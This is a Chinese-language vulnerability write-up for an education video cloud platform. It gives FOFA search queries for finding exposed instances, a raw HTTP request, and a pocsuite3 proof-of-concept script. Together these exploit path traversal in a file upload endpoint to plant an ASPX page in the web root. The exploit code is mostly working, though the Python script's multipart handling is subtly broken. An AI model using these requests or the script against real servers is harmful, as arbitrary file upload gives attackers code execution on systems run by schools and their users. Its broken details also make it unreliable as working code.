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漏洞描述

此教育视频云平台是一种教育技术解决方案，致力于提供高质量的在线教育视频服务。该平台为教育机构和教师提供了一个全面的视频管理和交流平台。它具有以下特点：首先，平台支持上传、存储和管理各种教育视频内容，包括课程录像、教学资源等。

fofa语句

body="Copyright © 2005-2018 广州市奥威亚电子科技有限公司"
body="/Upload/DomainInfo/MaxAVALogo.png"

poc语句加检测

POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: xxxxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insectre-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 1015 7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/107.0.0.0 Safari 537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,image/apng,*/*;q=0.8,application/signed-exchangev=b3;q=0.9
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;g=0.9
Cookie: ASP.NET_SessionId=pgfnw0patx4kh0jsnpjgzcmq; PrivateKey=f09020eaf656f9cf5d9292d39c296d1c
Connection: close
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Length: 294
 
------WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Disposition: form-data, name= "file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"
Content-Type: image/jpeg
 
<%@Page Language="C#"%>
<%
Response.Write("test");
%>
------WebKitFormBoundaryVBf7Cs8QWsfwC82M--

出现success说明上传成功，可到目标ip/test.aspx页面查看

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/7
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
 
class Education_cloud_platform_upload(POCBase):
    pocDesc = '''教育视频云平台文件上传漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-07'
    name = '教育视频云平台文件上传漏洞'
 
 
 
    def _verify(self):
 
        result = {}
        url = self.url+ '/Tools/Video/VideoCover.aspx'
        check_path = self.url+ "/test.aspx"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'close',
            "Cookie": "ASP.NET_SessionId=d2adfopq0zkmjygoaov13pwh; PrivateKey=f09020eaf656f9cf5d9292d39c296d1c",
            "Content-Type": "image/jpeg"
        }
        path = "/Tools/Video/VideoCover.aspx"
        try:
            data = {'------WebKitFormBoundaryVBf7Cs8QWsfwC82M',
                   'Content-Disposition: form-data, name= "file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"',
                   '<%@Page Language="C#"%>',
                   '<%Response.Write("test");%>',
                   '------WebKitFormBoundaryVBf7Cs8QWsfwC82M--'}
 
            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200:
                check_response = requests.get(check_path, headers=headers, verify=False)
                if check_response.status_code == 200 and 'test' in check_response.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['path'] = path
 
            return self.parse_output(result)
        except Exception as e:
            pass
 
register_poc(Education_cloud_platform_upload)

脚本使用